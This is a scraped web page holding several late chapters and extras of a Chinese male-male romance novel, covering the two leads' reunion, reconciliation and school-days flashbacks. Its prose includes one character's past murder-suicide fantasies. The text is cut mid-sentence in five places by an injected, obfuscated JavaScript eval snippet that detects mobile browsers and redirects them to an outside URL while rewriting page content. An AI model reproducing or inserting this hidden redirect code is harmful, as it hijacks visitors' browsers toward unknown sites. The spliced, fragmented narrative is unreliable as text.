如果原北真是同性恋的话,那他想玩男人一定很容易。 方野随即抖了一下,心想他老琢磨这个干什么? 原北是不是同性恋他不知道,但原北捅了一个同性恋老师一刀他还是知道的。况且同性恋不同性恋的…… 方野刷完牙,将水吐出去,盯着家里洗手间碎了半边的镜子,抬手给了自己一巴掌。 他闷头骑上自行车往学校去,前面路堵了,一群人围着一辆公交嚷嚷。 方野停下来,将车一提,打算从旁边绕过去,听见背后有人叫他:“方野。” 这声音太熟悉了,方野甚至没有立刻分辨出来是不是幻觉。还是原北的手在他肩后一拍,问他:“能不能带我一程?” 公交车出了故障,一时半会开不走,前面还出了车祸,把不少上学的学生都堵在路上。原北坐公交,不幸地下车准备步行,恰好看到路过的方野。 方野的自行车是老式的大自行车,前面一条横杠。原北扶着他车观察几秒,犹豫起来:“不会摔倒吧?” 方野只说:“你上来。” 这辆自行车来到方野手里后头一回载人。原北两条长腿没地方放,被他抬起来晃着,手起初抓着方野书包,后来被颠怕了,扬声问:“你腰怕不怕痒?再不抓着你我怕我掉下去。” 方野静了静,没想好怎么回答,原北已经自作主张,在他腰上搂了一把。 “不好意思。”搂住后微微一用力,接着原北松开,“刚刚那个坑太深了。” 方野也被颠了一下,他说:“没事,我不怕痒。” 几分钟的路程格外折磨,停车时方野才发觉他出了一身的汗。原北显然也注意到了,趁他停车,跑去小卖部买了两瓶水,还拿了一块面包。 “你吃早饭没?”他走过来问。 方野吃过了,但不想拂他的好意,就摇头,接过原北递来的东西。 “今天谢谢你了。”原北边走边拽了拽校服外套,他走路姿势还有点僵硬,在大腿上拍了两下,“不过自行车后座怎么能那么硬……中午没事的话,我请你吃饭,说好了。” 方野很没眼色,直截了当地问:“你屁股疼吗?” 原北被他噎了一下,无可奈何地道:“是!硌死我了!”说完自己就笑。 他头也不回地向前走,方野跟在后面,没忍住笑了笑。他盯着原北的背影看,看了会回神,在手心狠狠掐了一把。 37 方野照旧是班里那个孤立所有人的人,不过现在他多了个与他人的联系。原北似乎也知道他的性格,并没有拉着他融入集体的意思,让方野放松许多。 原北中午一向不回去。方野为了不让他奶奶中午还要忙着做饭,再加上学校午饭有补贴,也选择在食堂吃,不知道算不算是跟原北“一拍即合”。 只是第一次原北请客后,后面他俩就莫名其妙一直在一起吃,方野发现原北会故意点多的菜再拨给他。 高中男生饭量大得惊人,方野为了省钱很少吃饱,可被原北这样对待,他还是觉得很丢脸。 平心而论,他自认没什么脸面要求原北的照顾,更不用说还占原北的便宜。 那也太让人看不起。 这天下课后,原北起身时却又转过来,弯下腰对方野说:“今天我出去吃。” 后面有人喊了他两声,原北见方野缓缓点头,便露出一个笑容,很潇洒地摆手,在几个人的簇拥下出去了。 “你终于不吃食堂……”方野只来得及听见这么一句话,教室后门就被人随手带上。 他坐在原位,身后发冷,过了会,机械地起身去食堂,重复往日的行为。 方野很难说清究竟是什么事让他痛苦。大部分人看来糟糕的家境和不负责的父母对他来说其实无所谓,他已经习惯与这种环境相处,他这么多年生活的唯一变量就是原北。 可原北没有给他带来任何痛苦,或者说正相反,原北报复了陈飙,宽容地原谅他,他为什么会难过呢? 方野花了大半天的时间思考这个问题。半夜他睡不着,靠着床头看了会天花板上模糊的阴影,终于爬起来打开了电脑。 托他那对很会花钱琢磨新东西的爸妈的福,家里有一台老式电脑——当然买的时候是新款。屏幕发灰,像个沉重的大方块,开个机都好像下一刻要晕厥过去。 漆黑的卧室,电脑的光映照在方野发白的脸上。 他想了好一会,艰难输入几个关键词,看到迟缓跳出的网页后不由得皱眉。 没几秒,方野就关掉网页,坐在椅子上深深地大口喘气。他听见砰砰的杂音,好一会才反应过来,是他心跳的声音。 该死的……都是什么乱七八糟的! 方野忙不迭关掉电脑,在那里站了会,有点反胃,更多的还是茫然。 不至于吧,对一个男人。 可是原北同其他的男人不一样。不一样在哪?他也说不上来。 最后方野苦笑一声,躺回床上,心想,不要被原北捅一刀就好了。 然而当方野有意识地开始疏远原北后,他发现一直以来更想贴过去的人其实是他自己。他充其量只是陪原北每天吃顿午饭,一旦他退出,有的是人和原北一起吃。 至于同桌,他们之间的交际隔了一个空座位,还比不上班里其他关系正常的同桌。 匪夷所思,那些亲近的错觉是如何产生的? 是错觉还是…… “方野。” 方野差点没握住笔,原北停在他桌边,俯身说:“中午一起?” 方野没说话。等待一会没得到答案的原北疑惑地嗯了一声,他说:“好,我知道了。” 两句话听起来没什么区别,都显得平静,方野抬起双眼,原北已经从后门出去了。 他突然后悔,想也不想,猛地起身冲出去,差点将过路的人撞倒。可是走廊上人来来往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653043|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往,根本看不见原北的影子。 方野急促地呼吸着,他眼睛盯着两端来去的人,可能神情确实异常,已经有人以异样的目光打量他。 他一概无视,迅速地拨开人群跑到走廊尽头,那里窗户开了一小半,原北靠着窗户,专注地盯着手机。 不用看,方野知道他又在玩贪吃蛇。 原北没动,方野就站在那里,等他挫败地放下手机,才焦虑地舔了一下发干的嘴唇。 “怎么了?”原北若无其事收起手机,说,“还有事?” “中午,我们谈一谈吧。”方野低声说。 原北静静看他,没几秒,笑了笑:“好啊。” 方野看不懂他此刻的表情,不过毕竟把折磨他很久的话说出来了,他如释重负。 38 实验楼,305。 桌子被人草草擦了半边,原北打包了饭菜,坐在那里等。方野从食堂提着饭盒过来,看见他这次终于换了游戏,在玩俄罗斯方块。 “吃完再说。”原北放下手机。 就他们两个人,坐在实验室吃午饭,方野怎么想都觉得这一幕如果被别人看到一定是很离奇的。 不过这里除了他们,没有别人。 原北仔细地挑着一次性筷子上的木刺,突然间头也不抬地说:“如果有根烟,是不是比较应景?” 方野愣一下,问:“你抽烟?”他从来没见过。 原北笑了:“不抽,我不抽烟,而且哪有在实验室抽烟的。” “噢……”方野又陷入哑口无言的境地。 原北轻轻咬着筷子尖,他少见地表现出一种犹豫。方野被他注视着,他发现原来他一直恐惧的只是原北,只是原北本身。 他不合时宜地回想起深夜里打开电脑后搜索到的东西,那些图和文字,还有原北说的话。 “其实我想说……” “你为什么把你之前在学校的事对我说?” 两人同时开口,原北诧异地睁大眼睛,他转过头,难得认真地打量起方野。 方野后背产生一种类似于被针尖刺着的痛感,他忍着没动。 假如原北对他说的那些话曾经对别人说过,必然在学校里已经传开了,但没有,那说明原北只对他说过。 可是原北不是那种爱四处宣扬的人,为什么要对他说这些? 方野想不明白。 “你在纠结这个?”原北很快调整过来,他放下筷子,手指的指尖对着,“……说实话,我也不知道。” 他吐出一口气,耸了耸肩:“可能觉得你不会乱说,毕竟你刚见过陈飙的下场。” 两人对视了一会。 方野很乱,他全凭本能在追问:“你刚刚要说什么?” 原北唇角一翘,目光却回避似的转开。方野想也不想,他一把抓住原北放在桌上的手,隐约觉得那个答案他绝不能错过:“你要说什么?” “说话就说话,动手动脚做什么?”原北那点犹疑的神情顿时消失,他说,“放手。” 方野没放手,他没有意识到自己脸上出现了近乎恳求的表情,那是以为折磨可以结束的人的恳求:“告诉我好不好。” 原北注视着他,睫毛动了动,最后说:“我只是想到提醒你别抽烟,不过你抽不抽跟我有什么关系,所以我想收回这句话。” 方野无数次复盘过这个场景,他肯定是脑子抽了才会对原北说“如果你提醒我就不抽”这句话。但他也不得不承认,再来多少次,他也只会无法控制地说出这个唯一的回答。 原北这次愣了很久,看着方野像在看一种外星生物。他比方野敏锐很多,因此在方野还不清楚自己这句话意味着什么时,原北比他先一步看穿了他自己。 “方野。”他顿了顿才说,声音很平和,“你可真是……” 他闷声一笑,这次将手从心不在焉的方野手中抽出来,轻松地活动着手指。方野看着他的眼睛,原北的眼神有点像他们一起旁观陈飙被打的那个夜晚。 冰冷中含着找到什么乐趣一般的快乐,只不过面对他时没那么冷罢了。 17. 第十七章 39 “今天还是要去公司?” “嗯,十点走,你帮我蒸一下包子。” 原北匆匆忙忙,手将散下来的头发胡乱一拨,满脸半醒不醒的困意,钻进了浴室。 他卧室内的浴室坏了,就在外面洗。方野给蒸锅开火后定上闹钟,走到客厅的落地窗前,外面是一片茫茫的白雾。 提出复合的那晚,在方野的沉默后,原北竟然笑了,笑得很真心实意,方野看得出他是真的高兴。 “不同意也挺好的。”原北说得很温和,甚至还有点欣慰,“不用有压力,过两天我休假,出去逛逛。” 方野心想,我没说不同意。 他只是在迟疑,或许他应该专心思考……可原北看样子不打算等这个思考的结果。 方野下定决心,他对着落地窗演练了好几遍,在原北坐下打算吃早饭的时候,说:“我应该回去了。” 对这句话,原北像是意料之中地笑笑:“可以。等周六吧,我送你。” 他吃完不早的早饭,穿上大衣,匆匆地出门了,临走前还叮嘱方野晚上不要做饭。 方野倚着厨房门,见原北通身漂亮齐整,可以无缝衔接去拍都市精英宣传片。一个问题蹦到嘴边,又被他咽回去。 你怕我会毁了你精心维持的生活吗?就像我的父母毁了其他人那样? 原北回家时,天幕已经完全黑下去。他一进门就解开领带,脱掉大衣,动作行云流水,最后将左手的表摘下放在沙发扶手上。 “方野?”他疑惑地问了声,边解袖口边向里面走,“餐厅已经定好了……” 原北走到主卧门前时,房间门忽然打开,他被大力拽进去,门砰地在他耳边关上了。 本来漆黑的房间,墙角的感应灯倏忽亮起,辐射出的光线照亮了两个人。 方野将原北按在门后,低声喘息着。他的手背青筋突出,将原北身上平整的衬衫抓出数道褶皱,几乎要嵌进他肩骨里似的。 被他牢牢按住的原北,只是皱着眉,下巴微微抬起,低声问:“怎么?” “你骗我。”方野过了很久,一字一顿地说。 原北没立刻说话,他偏了下头,黑发下的侧脸和领口中露出的颈侧,在灯光末端显出某种象牙雕像般的质地。与此同时,他沉黑的眼睛格外平静。 方野在他的注视下快要发抖,感应灯灭了,黑暗丝幕一般落下。 在这种黑暗中,原北问:“我骗了你什么?” 方野猛地放开他,原北抬手理了理领口,房间的灯啪一下亮了。 原北眯了一下眼睛,伴随一声轻轻闷响,方野将什么东西砸在了床上。 一只银白色的打火机和一包只剩一半的烟。 40 “这是什么?”方野追问,“这个……” 原北并未如他预料那样显示出惊讶或者失措,而是镇定自若地坐下,拿起火机在手中转了一圈。他旋开盖子,手指按下,升起一簇橙红的火焰。 “没想到还能用。”他挺惊讶地说完,灭了火,将打火机一抛,双手撑在身后,脸也仰起,“在哪里找到的,我都忘记了。” 方野慢慢走近,站在他身前,沉声说:“你说你不抽烟。” 原北说:“以前抽过,现在和以后都不抽,你很介意?” “你为什么不告诉我?” 原北脸上的轻松逐渐消失,他直起身体:“因为我觉得没有必要。况且,也没有义务将以前的事全部告诉你吧?” 方野想也不想:“可是你那么草率地对我说,你决定复合?” 原北没有说话,他仅仅起身向外走。方野下意识伸出手想拉住他,但原北的手指擦过他的掌心,完全抽离出去。 他脚步平缓地走到客厅,拿出大衣口袋里的手机,先给餐厅打了电话,歉意地表示取消预约,再回过身,看向跟在他身后的方野。 方野深呼吸了一下,就听原北说:“我先道歉。” 他所有的话都被堵回去,原北用手捏了捏眉心,又说一遍,“我先道歉。我不应该那样对你说话。” 一时间,方野竟然感觉一个字也说不出来。 原北竟然会道歉。 尽管之前他们在一起的时间不是很长,但原北一直都是傲慢的,尤其是对比较亲近的人。不过方野享受那种傲慢,他喜欢原北坐在那里,高高在上地命令他,纠正他。 嘘,方野,上课时候不要老是把手伸过来。 方野,说话时候要看着我。 这次我考了第一,你想要什么奖励? 方野,亲我的时候不要那么紧张,之前不是教过你吗? 方野,看过了视频,到底会不会?别乱动,听我的。 …… 方野,我不喜欢道歉。 不同的大学,也不影响我们在一起吧,方野。 方野额角产生一阵阵抽痛。道歉……当然,刚见面的时候,原北也似乎是表现出道歉的意思,说要“补偿”他。 不过现在原北的道歉,和那时不同,不再隐含某种高高在上的意味,而是平静且真心。 “不应该我先道歉吗?”方野盯着他,“我没有立场质问你,还跟你动手。” 原北却道:“我知道你不会对我怎么样的。” 方野:“那你知道我要走,为什么不留我?” 这句话差不多是梗在他喉咙里,总算吐出来,说完后才发现有点失态。 原北陷进沙发里,低头看着对在一起的指尖,他说:“你既然要走,我拦你做什么?” “原北。” 原北短暂地应了一声。 但很快,他身上笼罩下一个影子,而他也诧异地仰起脸。 方野在他身前弯腰,双手按住他的肩膀:“你真的不会挽留我吗?” 原北看着他。明明是方野占据优势的姿势,被按住的人却像是在俯视他。 慢慢的,那双漆黑的眼睛弯起,露出笑意。“你想得到什么答案?”原北问得很柔和。 方野说:“我要听真话。” 原北用气声笑了一下:“真话。” 他不知道在笑谁,手跟着抬起,掌心覆盖住方野的手背,温热的皮肤紧密相贴,随后轻轻握住。 方野一怔,毫无反抗,原北双手拢着他的手,合在身前,垂着眼睛看了片刻。 “上学时候学的抽烟。”原北突然开口,“那个时候压力大,平时没什么消遣,所以就开始抽了。后来还是觉得不好,对这东西上瘾……太差劲了,所以就戒掉,回来的时候东西都是请的人帮我收拾,他们把这些都装进箱子里了。” 原北松开手,方野的手霎时间冷了一冷,令他本能地想再抓回去。 他没抓到东西,袖子被拽了拽,虽然身体有点僵硬,还是顺着原北的意坐下。紧接着,原北就靠了过来。 41 “这是真话。” 他的大腿、他的手臂传递出一种温度,呼吸轻而稳定,手搭在方野的肩膀。 “还有一句真话。就是情感上我不想你走,可是理智上,分开对我们都好。” 他们的姿势亲密如同热恋中的爱侣,只是交谈的内容不大好听。 方野同样放轻声音,嘴唇靠近原北的耳朵:“你当初离开我也是出于理智上的考虑吗?” 原北罕见地沉默了一下,还没来得及组织语言,方野继续说:“是我贱,你抛弃过我一次,我还想再被你抛弃第二次。” 说完后,方野竟然体会到残忍的快感,就像握着双刃剑去刺人,刺伤他人的时候,自己的手心也鲜血淋漓。 可是说完这句话后他却不敢抬头去看原北的脸,他知道自己在恐惧什么——他怕原北会露出让他瞬间一败涂地的表情。说出刺伤原北的话已经很困难了,假如再看到原北难过的表情,方野会先一步跪下去。 既然决定要走,那就不应该再奢望留下。 令人窒息的沉默中,方野站起身:“我明白了。……我会订最早的机票。” 原北的体温好像还在他身上留有余温,方野提前感受到一股寒冷。 他不由得蜷起手指,正在此时,原北在他身后,说道:“等一下。” 话语利落又淡漠,听不出情绪。 方野后背一僵,在他意识到之前,他已经停住了脚步。 只要原北用那种语气说话,方野就只剩下一个本能:服从。 其实这才是他一直想要的……这个念头如同一线雪亮的刀锋,在他后脑滑过。 “你想要真话,那我告诉你。” 背对着原北,方野不知道他是用什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方野试图分开原北的手指,可太用力了,他甚至掰不开。 “我到医院后联系了家里,等到可以出院后,立刻离开了。当时我发誓,这辈子我都不要再踏上阳城的地,不过还是食言了。” 原北的手慢慢松开,被方野紧握着,冷得像冰。他面上仍然带着笑容,漆黑的眼睛盛着灯光看向方野:“方野,你怎么哭了?好吧,是我对不起你,因为是我主动放弃的,也没有那个勇气亲自告知你。” 他抬起手腕,方野的手也跟着抬起。有什么温热的液体落在他们交叠的手上,是方野的眼泪。 原北静静看了会手上的水渍,突然他靠近,近到方野可以碰到他的呼吸。 原北用嘴唇吻掉了方野脸上的泪水。 他的嘴唇柔软、温热,将泪水的痕迹吮干净的时候,仿佛花瓣落下。 就像一道电流击穿了所有的神经,方野猛地把他的双手按进沙发里,撑在原北的双腿两侧。他跪在地上,仰头看着原北稍显诧异的面容,低声说:“你是对的……” 原北疑惑地问:“什么?” “你不来找我,是对的。”方野低声说,他说出的每一个字都像砂石,碾磨过喉管和声带,留下绵延的隐痛,“我当时以为我被你抛弃了,我想如果见到你,我就想办法杀了你再自杀,这样不用去考虑别人,我们也可以一直在一起。” “有几年,我一直是想着,只要能见到你,或者说只要命运让你出现在我面前,我就一定要杀了你,不惜一切代价。我就是怀着这样的仇恨活着……直到有天我看到新闻,大学遭到袭击,遇难者有我国公民……” 他抽了口冷气,一时间说不下去。原北勉强抽出一只手,按在了方野的后脑。 方野顺从地跟着他向前靠,额头抵住原北的胸口,闻到他身上的香水味道。 “我不知道你在哪所学校,但是我突然想,如果那个人是你呢?如果你死了呢?” 每说出一个字,方野都似乎从额头抵着的地方感受到下面的心跳。他被这个心跳控制了,不假思索地说:“那时候我才明白,就算你抛弃我、忘记我、和别人在一起,都无所谓,我……我不想让你死,我已经够失败了,就让我这样下去吧……你是最应该成功,最应该幸福的那个人。” 18. 第 18 章 42 原北的手,在方野后脑的发丝中轻柔地抚着。 方野想到他曾经坐在那里,身上披着校服,高傲地勾起手指命令方野过来接吻,想到他看过来的冰冷的眼睛和漠然的表情。想到他在卧室里,装作熟练地指挥方野,又因为吃痛,手臂紧紧抱住方野的脖子。 原北向来将自身放在上位者的位置,他享受在感情里命令指使方野的快感,恰巧方野完全乐意服从他的指令。 因此他会因为自己一无所有而选择结束这段关系,他习惯于做给予的那方,一旦缺少底气,就会立刻退让,免得露怯。 他不知道哪怕他负债累累,在方野面前,依然是富有四海、至高无上的国王。 方野在被分手后去二手书摊买过几本医学和侦查学方面的书,书摊老板以为他是写小说的,一起送给他几本卖不出去的旧侦探小说。 怀抱着不成形的杀人计划的方野,先看完了侦探小说。晚上他躺在木板床上,翻来覆去,想他要杀死原北后再自杀。 随后方野又变得难过,因为他推测自己百分之九十九不可能杀掉原北,倒是杀他自己易如反掌。 方野:“你早就已经下定决心放弃我了。” “是。” “为什么不彻底放弃我呢?”方野执着地追问,“只要你想,我们可以永远不见面。” “哪里有永远。”原北煞有其事地说,“再过几十年,我们都是要死的。” 方野抱着他不说话。过了很久,也可能只有短短一瞬,他听见原北说:“反正再过几十年都要死,所以我想还是亲自见你比较好,这样我能确定我究竟想不想放弃你。” “结果呢?” 原北笑了一声:“明知故问。” 方野闷声道:“我不在乎别的。你明知道,你勾一下手指,我就贴上来了。” “正因如此,我要对你负责。” 方野不说话,他静静地听原北的心跳,突然明白原北好好地活着,是一件多么好的事。只要原北能这样活着,他死掉也无所谓。 方野是一个懦夫。他被分手也不敢追问,被亲吻也不敢表白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653045|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拒绝就想逃跑,在阳城长久地画地为牢、自甘堕落。 只有原北当年接过他的手,这么多年都没有彻底放下。假如原北没有在今年冬天出现,方野知道,他还是会那样怯懦地龟缩在阳城,日复一日,盼望原北的消息,害怕原北的消息。 “可以在一起吗?”方野探身,边吻他,边向原北追问,“哪怕只有一天,可以在一起吗?其他的我都不想管了,我已经错过你十一年,无论如何……我都不想再错过了。” 原北想要说话,方野大着胆子,吻住他的嘴唇。 “别说,求你,别的我都不想管。”气喘和湿润的吻之中,方野几乎在哀求,“只要你还愿意爱我,就答应我……应该我来请求复合,我……”他语无伦次,已经不知道自己在说什么。 原北捧起方野的脸,安静地看着他,过了会,他闭上眼,和方野额头相抵。 “我真没想到。”他笑叹一句,“过了这么多年,我还喜欢你。” 他闭眼看不见的时候,方野的脸上落下泪。 [正文完结] 19. 番外1[番外] 【01 加班】 公司接了一个大项目,原北几乎可以说是连轴转了三个月。结束的那天,他早早从庆功宴上回家,甚至没进卧室,直接在沙发上睡了。 往常,如果方野看到他这种做派,一定会坚持不懈地把原北弄到浴室,洗干净后再让他在床上安分躺好。他很担忧原北这个行业的猝死率,生怕某天在原北手机内存的紧急联系人会派上用场。 尽管原北本人对此不以为意,不过他还是比较享受方野为他担心受怕、忙前忙后的样子。 这几天方野飞回阳城,忙他的面包店事业。故而原北有恃无恐,鞋都没换,就睡了过去。 他领带没解,梦里坐在高中课桌后,卫衣的带子缠住桌腿,怎么都解不开。原北实在烦了,伸手去摸剪刀,却被人一把攥住。 “你怎么又不去床上睡?”问话的人嘴唇贴着他耳朵,带了几分恨铁不成钢的意味。 原北睁开眼,模糊的视野内灯光影影绰绰,照出方野的脸和有点凌乱的头发。 不等原北回话,方野就仗着自己的大体格,硬是把人从沙发上抱起来。 原北趴在他肩头,眼前晃了晃,反而笑出来:“天,我要是摔了怎么办?” 方野闷声回他:“去楼下诊所,还能怎么办?” 被不轻不重地扔到床上的原北清醒了不少。他坐起身,解开领带和衬衫,黑发散着,微微眯起眼迎着灯看向风尘仆仆的方野,对他张开手。 “欢迎回来。”他声音懒懒的,还带着倦意。 方野整个扑在原北身上,把他抱了个满怀,就像抱住了一只大型玩具熊。原北被压得抽了口气:“我要猝死都是你害的。” 方野突然低头在他唇上亲了一下,正色道:“不要说死。” 原北看着他:“你在命令我?” 方野保持沉默,但立场坚定。原北装了一会严肃,自己先笑了,说:“好吧,我尽量注意。” 方野把头埋在原北肩膀处,他身上带着一点酒气,熏得方野头疼,很快就强迫自己放开原北,去浴室给他放热水。 原北慢吞吞地坐起身,站在卧室把衣服一件件脱下去。 衬衫、长裤、袜子和衬衫夹,从床边的地板铺到浴室门口。方野放满浴缸的热水后回头,就看见原北白净的身体。 他脸上立刻开始发热,原北明知这个行为的引诱性,还若无其事地坐进浴缸,曲起被衬衫夹夹出印子的大腿,问他:“怎么大半夜回来?” 方野:“……事情处理完,就直接回来了。” 边说,他边拿起莲蓬头,调出温水,冲起原北的头发。忽然原北湿漉漉的手伸出来,捧住方野的脸,在他皮肤上留下一道水痕。 他没说话,但方野知道,略一低头:“有黑眼圈?” “嗯。”原北打了个哈欠,差点呛到水,“咳,我是说,下次不用那么赶。” 方野移开莲蓬头,理顺他的头发,过一会才说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653046|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我感觉和你在一起的时间太短了,不想浪费一点。” 原北看了他一会,命令:“你也一起洗。” 方野愣住,在他目光下有些无所遁形的窘迫。原北拍了拍水面,声音里带了些促狭:“以为我没发现吗?” 和原北脱了衣服扔的满地都是的作风不同,方野会规矩地把衣服放进脏衣篓里。 水漫过浴缸边缘,哗啦啦流下。原北主动吻上方野的嘴唇,同时手浸没在了水里。 方野呼吸急促起来,一只手紧紧环抱住他,另一只手也没入水中。 两人都够疲倦了,纯粹是凭着一时的热情胡闹了一阵。简单发泄后,原北老实地躺回床上。 快要入睡的时候,方野轻轻离开了床,原北没有在意。两分钟后,他伸在床边的手腕一凉,被人戴上了什么。 原北迷迷糊糊睁开眼,抬起手,没忍住笑了:“这是什么?” 方野给他戴了一只手串,应该是玉做的,是一种通透洁净的绿色。 “和田玉手串,几个月前在老板那定的货,正好拿到了。”方野在他耳边亲了亲。 原北摸了一下他的脸,没说什么。 方野知道他是开心的,心满意足地抱住他躺下。 原北本来想跟方野提一嘴,他联系律师签了遗嘱,钱都留给方野。不过看见方野对于“死”字如此讳莫如深的态度,他又觉得还是不说为好。 万一哪天用得上,还可以当是惊喜。 20. 番外2(过去)[番外] “花?你送的?” 见面后第一句,原北诧异地问。 阳城高中不多,学生也不多。理科生的考场就在一中,不过方野和原北分在离得最远的两栋楼。 最后一场结束时校里校外的人又尤其得多,他们挤了半天才在校门口见上面。 校外等着很多翘首以盼的家长,穿旗袍的、抱着花的,相比之下,抱着花的方野在里面有些格格不入。 而且送的不是女生,是另一个男生。 原北在惊讶后,伸手接过。这是一束以向日葵为主体的花束,明亮鲜艳,衬托得他最近有些憔悴的脸色都好了起来。 高考后校门口卖的花是比平时贵的,方野提前计划了很久才买的,虽然贵,但他花的心甘情愿。 原北抱着花,忽然叫住旁边一位正给孩子拍照的家长:“阿姨,可以帮我们拍张照吗?” 阿姨人很热心,二话不说镜头对准他们:“啊哟,两个小伙子都帅的嘞,来来,靠近一点。花很好啊,你们一起捧着吧,都是刚考完试?” 方野有点窘迫。还好有原北,跟阿姨顺利沟通完后,留下了手机号,回去阿姨把照片传给他。 “这照片真好!”阿姨最后说,“你们俩可要做一辈子的好朋友啊!” 原北说:“会的,谢谢阿姨。” 方野没骑车,跟原北一起走回去。路朝着西边,过于美丽的夕阳颜色绚烂,方野已经忘了考试考得怎么样,只有一种轻盈的情绪充斥着胸口,让他想飞起来。 原北突然开口:“这个时候好适合接吻啊。” 方野没反应过来,看着原北的眼睛,黑漆漆的,异常明亮。瞳孔中仿佛有一团火,不管不顾地要扑出去。 不过很快,原北垂下睫毛,说:“啊,开玩笑的。” 方野也很想吻他,连着原北的脸、嘴唇和花朵一起吻。庆祝他们的高中生活结束,庆祝他们一起走向下一个阶段。 他一般是没有多少对未来的展望的,但是原北让他觉得他有。 方野要先回家做晚饭,他奶奶不能来学校,他得回去报个消息。原北站在分别的路口和他暂别,影子被拉的很长。 走出一段距离后,不知出于什么心理,方野又转身向那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653047|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个路口看。 原北竟然还站在那里,没有离开。 就像一个容易被戳破的梦境,带着不可思议的甜美。方野又走了几步,再回头看,这次,原北对他遥遥挥手,是让他快走的意思。 方野为了不回头,迈开腿跑了起来。他一路跑回家,推开门时还喘着气,奶奶在屋里问他,考试怎么样?他的大脑才在一片悬浮中缓缓下落。 正常发挥,方野说。 他是如实作答,确实都正常发挥,成绩应该和平时模拟的差不多。 反正方野已经打定主意跟原北去一个城市,不管多少分,他都没有那么在意。 晚饭后,方野说要出门散步,去了原北的房子。 他们在客厅就吻到了一起。 等亲到窗口时,原北背抵着窗台,才低喘着气说:“等等——窗帘。” 他说着要拉窗帘,手抓住窗帘却没动。玻璃外是万家灯火,挟着夏日的暑热,房间内空调很凉快,但两人身上还是微微出了点汗。 方野心中一动,凑过去,以外面这明亮的夜幕为背景,再次吻上他的嘴唇。 21.爱神总在下雨天·上[番外] 1 5月13日,小雨 方野收起雨伞,在走廊边缘伸出去抖了抖。雨水一串一串地流下来,落入地上的水洼。 自五月开始,广城进入连绵的雨季,直到九月才能结束。没有在广城生活的人会喜欢这段日子,方野曾经也不例外。 他抖完水,握着伞,独自站在一楼走廊四处张望。雨幕蒙蒙,往来的学生也都脚步匆匆,只有他站在那,显得有点另类。 “嘿。”方野左耳后忽然有个人对他轻轻叫了一声,“看什么呢?” 方野猛地回头,原北就站在他身后,上半身白衬衫外罩着一件浅灰色外套,袖口挽着,脸上笑意微微:“在找我吗?” 他明知故问。 方野手松了点,仔细地看了看他,才说:“你来了。” 原北和之前没什么变化,乌黑的发和眼,皮肤白得像玉。他虽然站在走廊里,整个人却依旧蒙着一层湿漉漉的水汽,仿佛每时每刻都处于雨中。 上次见面还是半个多月前,之后广城难得有了长长的晴天。直到雨季来临,原北终于又出现了。 “你是不是该去上课了?”原北问他。 方野这才慢吞吞地把伞收好:“我在等你。” 原北手插在口袋里,面朝方野,在长长的走廊上倒着走。他说:“等我做什么,只要下雨,我就会出现。” 说话间,走廊对面过来几个女生。她们怀里抱着电脑书本,就像没看见原北似的,直直和他迎面撞上——随后就像穿过一个并不存在的幻影,有说有笑地离开。 “……刚刚那人在自言自语吗?好吓人。” “这不是数学院的楼吗?学数学学的吧。” 方野充耳不闻,拿着书走进教室,在侧后方坐下,里面靠墙的座位空着。他把一本书推过去,别人眼里空荡荡的座位,其实原北就坐那里,无聊地翻着书,陪他听课。 他毕竟不是数学专业,很快就觉得无聊。方野把平板电脑打开,给他放电影看。 下课的时候,方野故意磨蹭,等人走得差不多了,问原北:“中午吃什么?” 原北既碰不到任何东西,也无需进食。不过方野喜欢让他来点菜,原北选择什么,他就吃什么。 